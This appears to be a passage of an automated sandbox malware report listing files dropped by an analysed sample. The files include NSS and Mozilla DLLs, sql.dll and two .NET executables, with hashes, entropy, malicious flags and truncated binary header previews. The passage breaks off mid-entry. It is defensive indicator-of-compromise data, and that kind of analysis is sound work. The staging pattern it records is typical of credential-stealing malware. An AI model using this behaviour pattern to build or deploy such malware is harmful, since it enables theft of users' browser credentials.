Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="475917" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\userFBKFCFBFID.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	328232
Entropy (8bit):	7.985419942417084
Encrypted:	false
SSDEEP:	6144:35uFHiULOSvfZatr21JdZPOYqVc9NRbxGbJXrBFXfRUc1/lsFCGxFEO:301TRfD1JT2cxx0XlFZUAlCzEO
MD5:	E377DAE8BDF40A95DB250E59842D2915
SHA1:	736FB820155A7511131490D243433C010889A523
SHA-256:	549E34CD006E9805549E99590A78FBAD9D5A963CB48D841C553D5CCD40A367B1
SHA-512:	D19CDA4F015E14841D446D2E45327DD224AE88BDC76F12689ECE9CCE48D2944B4BF888A15E08D8ED6E40186C6BD399AE7E1A0DAE3C193F4CBA15EB75FCD6D60E
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...V..f............................^.... ........@.. .......................@.......R....`.....................................S.......B...............(&... ....................................................... ............... ..H............text...d.... ...................... ..`.rsrc...B...........................@..@.reloc....... ......................@..B................@.......H...........8...........................................................\|~0..B...~.fc....8...u. ..&.r......K."Y`_....Bw...o..R.Xc.`.......(o..n.....E5L`s..B.&.3.jm..c ...1...X.z.kH.m..J[_sN..O.....W......./..M.3..e.z:....7I.y.7.L.9..o .1....;%...nz4..WlEn#.7N......:v....M...I...C....k...}..f8\x.q+_.w.u!.bZ..x.B.8y.-..]C..4...5..k...2..-.5P....N.!.W%....mJ.'.p.V.$.8..w6..H.ps....\|...;.....)...H9.Q.(V,.[nM..n.g.Ng...c.CG.'.h.4.....{..H.-`......=:....F1.f?

C:\Users\userIEHDAFHDHC.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	196136
Entropy (8bit):	7.96737585890837
Encrypted:	false
SSDEEP:	3072:eeevMXvHF84YMPwKf78nzuWqf5bNYy0v1yfX54yq3FFgJSSuQeYt7QaONmw7DBdz:e5vM/HDY8WqWqf5bWy0vuX5l5ESuQeYK
MD5:	1EF9BBED957BCD2DF5A639E04A67F8BB
SHA1:	DEA8AF341746162F51E7C37486C43F484B7EAA20
SHA-256:	A1259A67819BB78FB8D97596DAEAEE6D01F8CF984DD217C7BF10E1808F3D7C01
SHA-512:	1F915183D6B688324E4E3B6041AE780AEDA3CDBE65156F6B151BE8BE3C09BE9F55C56577E494BC1E8B96C146DCF76204745B7BCDC2A222854F0784A766020663
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 32%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....u.f............................^.... ........@.. .......................@.......w....`.....................................S.......B...............(&... ....................................................... ............... ..H............text...d.... ...................... ..`.rsrc...B...........................@..@.reloc....... ......................@..B................@.......H...........8...........................................................1D.g1.M<..ZfHA.].R(.......v..X7.U".7..-O,..?v1...z....?.l..>.^..'.PL^..lS..G.c.}..P.....8...oS..M...[....-..ff..cf...H...j...%.n.....a/?r.R.".........]Z....jS...k.W.a99....\|.py..m.s\|.h.......4...X7....2..?.4P.N....83"..pe..o...c..wt..j..L._K....Q@..;s.....?RK..GN..&.c.....N....`.p.2..+.Y..E4..../..,.w...."..Z.y...=..?.ui$.......Ch......j.YI^........^.o.....?.]V..wP.n. x...;E...VeJ__..v..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\DHCGHDHIDH.exe.log

Download File

Process:	C:\ProgramData\DHCGHDHIDH.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	42
Entropy (8bit):	4.0050635535766075
Encrypted:	false
SSDEEP:	3:QHXMKa/xwwUy:Q3La/xwQ
MD5:	84CFDB4B995B1DBF543B26B86C863ADC
SHA1:	D2F47764908BF30036CF8248B9FF5541E2711FA2
SHA-256:	D8988D672D6915B46946B28C06AD8066C50041F6152A91D37FFA5CF129CC146B
SHA-512:	485F0ED45E13F00A93762CBF15B4B8F996553BAA021152FAE5ABA051E3736BCD3CA8F4328F0E6D9E3E1F910C96C4A9AE055331123EE08E3C2CE3A99AC2E177CE
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\HDAFIIDAKJ.exe.log

Download File

Process:	C:\ProgramData\HDAFIIDAKJ.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	42
Entropy (8bit):	4.0050635535766075
Encrypted:	false
SSDEEP:	3:QHXMKa/xwwUy:Q3La/xwQ
MD5:	84CFDB4B995B1DBF543B26B86C863ADC
SHA1:	D2F47764908BF30036CF8248B9FF5541E2711FA2
SHA-256:	D8988D672D6915B46946B28C06AD8066C50041F6152A91D37FFA5CF129CC146B
SHA-512:	485F0ED45E13F00A93762CBF15B4B8F996553BAA021152FAE5ABA051E3736BCD3CA8F4328F0E6D9E3E1F910C96C4A9AE055331123EE08E3C2CE3A99AC2E177CE
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\file.exe.log

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	42
Entropy (8bit):	4.0050635535766075
Encrypted:	false
SSDEEP:	3:QHXMKa/xwwUy:Q3La/xwQ
MD5:	84CFDB4B995B1DBF543B26B86C863ADC
SHA1:	D2F47764908BF30036CF8248B9FF5541E2711FA2
SHA-256:	D8988D672D6915B46946B28C06AD8066C50041F6152A91D37FFA5CF129CC146B
SHA-512:	485F0ED45E13F00A93762CBF15B4B8F996553BAA021152FAE5ABA051E3736BCD3CA8F4328F0E6D9E3E1F910C96C4A9AE055331123EE08E3C2CE3A99AC2E177CE
Malicious:	true
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\userFBKFCFBFID.exe.log

Download File

Process:	C:\Users\userFBKFCFBFID.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	42
Entropy (8bit):	4.0050635535766075
Encrypted:	false
SSDEEP:	3:QHXMKa/xwwUy:Q3La/xwQ
MD5:	84CFDB4B995B1DBF543B26B86C863ADC
SHA1:	D2F47764908BF30036CF8248B9FF5541E2711FA2
SHA-256:	D8988D672D6915B46946B28C06AD8066C50041F6152A91D37FFA5CF129CC146B
SHA-512:	485F0ED45E13F00A93762CBF15B4B8F996553BAA021152FAE5ABA051E3736BCD3CA8F4328F0E6D9E3E1F910C96C4A9AE055331123EE08E3C2CE3A99AC2E177CE
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\userIEHDAFHDHC.exe.log

Download File

Process:	C:\Users\userIEHDAFHDHC.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	42
Entropy (8bit):	4.0050635535766075
Encrypted:	false
SSDEEP:	3:QHXMKa/xwwUy:Q3La/xwQ
MD5:	84CFDB4B995B1DBF543B26B86C863ADC
SHA1:	D2F47764908BF30036CF8248B9FF5541E2711FA2
SHA-256:	D8988D672D6915B46946B28C06AD8066C50041F6152A91D37FFA5CF129CC146B
SHA-512:	485F0ED45E13F00A93762CBF15B4B8F996553BAA021152FAE5ABA051E3736BCD3CA8F4328F0E6D9E3E1F910C96C4A9AE055331123EE08E3C2CE3A99AC2E177CE
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\freebl3[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\vcruntime140[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\mozglue[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\nss3[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\softokn3[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\sql[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2459136
Entropy (8bit):	6.052474106868353
Encrypted:	false
SSDEEP:	49152:WHoJ9zGioiMjW2RrL9B8SSpiCH7cuez9A:WHoJBGqabRnj8JY/9
MD5:	90E744829865D57082A7F452EDC90DE5
SHA1:	833B178775F39675FA4E55EAB1032353514E1052
SHA-256:	036A57102385D7F0D7B2DEACF932C1C372AE30D924365B7A88F8A26657DD7550
SHA-512:	0A2D112FF7CB806A74F5EC17FE097D28107BB497D6ED5AD28EA47E6795434BA903CDB49AAF97A9A99C08CD0411F1969CAD93031246DC107C26606A898E570323
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........7.Z.Y.Z.Y.Z.Y...Z.n.Y...\..Y...]...Y...X.Y.Y.Z.X..Y.O.\.E.Y.O.].U.Y.O.Z.L.Y.l3].[.Y.l3Y.[.Y.l3..[.Y.l3[.[.Y.RichZ.Y.................PE..L...i.`e...........!...%.. .........{D........ ...............................%...........@...........................#..6....$.(.....$.......................$.....`.#.8...........................x.#.@.............$..............................text...G. ....... ................. ..`.rdata...".... ..$.... .............@..@.data...4\|... $..b....#.............@....idata........$......^$.............@..@.00cfg........$......p$.............@..@.rsrc.........$......r$.............@..@.reloc..5.....$.......$.............@..B................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\66cf75d3791d7_vrewqgq[1].exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	196136
Entropy (8bit):	7.96737585890837
Encrypted:	false
SSDEEP:	3072:eeevMXvHF84YMPwKf78nzuWqf5bNYy0v1yfX54yq3FFgJSSuQeYt7QaONmw7DBdz:e5vM/HDY8WqWqf5bWy0vuX5l5ESuQeYK
MD5:	1EF9BBED957BCD2DF5A639E04A67F8BB
SHA1:	DEA8AF341746162F51E7C37486C43F484B7EAA20
SHA-256:	A1259A67819BB78FB8D97596DAEAEE6D01F8CF984DD217C7BF10E1808F3D7C01
SHA-512:	1F915183D6B688324E4E3B6041AE780AEDA3CDBE65156F6B151BE8BE3C09BE9F55C56577E494BC1E8B96C146DCF76204745B7BCDC2A222854F0784A766020663
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 32%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....u.f............................^.... ........@.. .......................@.......w....`.....................................S.......B...............(&... ....................................................... ............... ..H............text...d.... ...................... ..`.rsrc...B...........................@..@.reloc....... ......................@..B................@.......H...........8...........................................................1D.g1.M<..ZfHA.].R(.......v..X7.U".7..-O,..?v1...z....?.l..>.^..'.PL^..lS..G.c.}..P.....8...oS..M...[....-..ff..cf...H...j...%.n.....a/?r.R.".........]Z....jS...k.W.a99....\|.py..m.s\|.h.......4...X7....2..?.4P.N....83"..pe..o...c..wt..j..L._K....Q@..;s.....?RK..GN..&.c.....N....`.p.2..+.Y..E4..../..,.w...."..Z.y...=..?.ui$.......Ch......j.YI^........^.o.....?.]V..wP.n. x...;E...VeJ__..v..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\66cf818156193_ldjfnsfd[1].exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	328232
Entropy (8bit):	7.985419942417084
Encrypted:	false
SSDEEP:	6144:35uFHiULOSvfZatr21JdZPOYqVc9NRbxGbJXrBFXfRUc1/lsFCGxFEO:301TRfD1JT2cxx0XlFZUAlCzEO
MD5:	E377DAE8BDF40A95DB250E59842D2915
SHA1:	736FB820155A7511131490D243433C010889A523
SHA-256:	549E34CD006E9805549E99590A78FBAD9D5A963CB48D841C553D5CCD40A367B1
SHA-512:	D19CDA4F015E14841D446D2E45327DD224AE88BDC76F12689ECE9CCE48D2944B4BF888A15E08D8ED6E40186C6BD399AE7E1A0DAE3C193F4CBA15EB75FCD6D60E
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...V..f............................^.... ........@.. .......................@.......R....`.....................................S.......B...............(&... ....................................................... ............... ..H............text...d.... ...................... ..`.rsrc...B...........................@..@.reloc....... ......................@..B................@.......H...........8...........................................................\|~0..B...~.fc....8...u. ..&.r......K."Y`_....Bw...o..R.Xc.`.......(o..n.....E5L`s..B.&.3.jm..c ...1...X.z.kH.m..J[_sN..O.....W......./..M.3..e.z:....7I.y.7.L.9..o .1....;%...nz4..WlEn#.7N......:v....M...I...C....k...}..f8\x.q+_.w.u!.bZ..x.B.8y.-..]C..4...5..k...2..-.5P....N.!.W%....mJ.'.p.V.$.8..w6..H.ps....\|...;.....)...H9.Q.(V,.[nM..n.g.Ng...c.CG.'.h.4.....{..H.-`......=:....F1.f?

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\freebl3[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
